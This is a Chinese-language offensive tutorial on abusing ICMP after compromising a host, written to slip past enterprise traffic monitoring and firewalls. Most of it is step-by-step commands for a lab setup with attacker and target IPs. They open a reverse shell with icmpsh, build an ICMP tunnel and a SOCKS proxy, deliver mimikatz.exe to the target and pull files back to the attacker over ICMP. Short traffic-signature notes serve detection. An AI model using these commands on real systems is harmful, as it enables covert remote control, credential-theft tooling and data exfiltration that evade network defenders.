ICMP利用方式
0x00 介绍
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。
0x01 利用场景
在拿下一台主机后,往往需要执行一些命令或者上传下载一些文件,以便我们提权,转发等操作,但现在大型企业在网络边界往往部署了流量分析设备,这些设备会对数据包进行分析,如果说我们的shell没有进行加密,那么自然很容易就会被抓到。另外网络中的防火墙设备也会对某些特定的端口数据包进行封堵,导致shell无法连接。在某些流量严格的场景下,常用的技术不能突破检测设备的监测,这时候需要我们使用一些别的协议和技术来突破限制。
0x02 ICMP利用优缺点
- 优点:
防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。
- 缺点:
ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
利用隧道传输时,需要接触更低层次的协议,需要高级用户权限
0x03 ICMP利用
实验环境
攻击机: kali 192.168.1.128
目标机: win10 192.168.1.140
ubuntu: ubuntu20 192.168.1.139
利用icmp反弹shell
利用工具:icmpsh
项目地址:https://github.com/bdamele/icmpsh
适用于windows
下载
git clone https://github.com/inquisb/icmpsh
之后禁用ping回复,防止内核对ping数据包进行响应,影响后续的利用
之后在攻击机开启服务
## 安装前置库
pip2 install impacket
## 攻击机ip 目标机ip
python2 icmpsh_m.py 192.168.1.128 192.168.1.140
在目标windows主机执行命令
icmpsh.exe -t 192.168.1.128
成功反弹
乱码解决
## 修改字符集
chcp 65001
icmpsh.exe -t 192.168.1.128
流量特征
目标机执行连接后,会向攻击机发送请求,之后循环42字节的ping请求和60比特的回复
之后每次攻击机执行一次命令,目标机会发送一段大于42比特的请求
利用icmp建立隧道
利用工具:icmptunnel
项目地址:https://github.com/jamesbarlow/icmptunnel
适用于linux
在攻击机和ubuntu同时运行下载编译
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
之后执行禁用ping回复
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
攻击机
./icmptunnerl -s
ctrl+z
bg
ifconfig tun0 10.0.2.1 netmask 255.255.255.0
WordPress10.png)
ubuntu
./icmptunnerl 192.168.1.128
ctrl+z
bg
ifconfig tun0 10.0.2.2 netmask 255.255.255.0
之后成功用攻击机连接
流量特征
大部分包为icmp包
并且ssh登录也是通过icmp通信
对比正常ssh登录,icmp隧道没有sshv2协议的流量
利用icmp流量中转
利用工具:PingTunnel
项目地址:http://www.cs.uit.no/~daniels/PingTunnel/
这里我选择使用云服务器作为实验对象
在一台服务器上作为server执行
chmod +x pingtunnel
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
## 设置成server
./pingtunnel -type server
之后在另外一个服务器作为client执行
chmod +x pingtunnel
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
## 将client的4455转发到server开启socks5
./pingtunnel -type client -l :4455 -s ip -sock5 1
server端收到响应,代理开启
本地测试通过
curl 发现为server的ip
这里也可以开启tcp、udp代理
流量特征
发现全为icmp包,无http包
利用icmp传输文件
下载文件
利用工具:ICMP-TransferTools
项目地址:https://github.com/icyguider/ICMP-TransferTools
攻击机启动服务
pip3 install impacket
python3 ICMP-SendFile.py 192.168.1.128 192.168.1.140 mimikatz.exe
目标机执行下载
Import-Module .\Invoke-IcmpDownload.ps1
Invoke-IcmpDownload 192.168.1.128 mimikatz.exe
上传文件
将目标机的1.txt传输至攻击机
攻击机启动服务
python3 ICMP-ReceiveFile.py 192.168.1.140 1.txt
目标机上传1.txt
Import-Module .\Invoke-IcmpUpload.ps1
Invoke-IcmpUpload 192.168.1.128 1.txt
攻击机收到文件
流量特征
- 上传文件
发现全为icmp数据包
- 下载文件
同样全为icmp数据包
有任何意见请评价。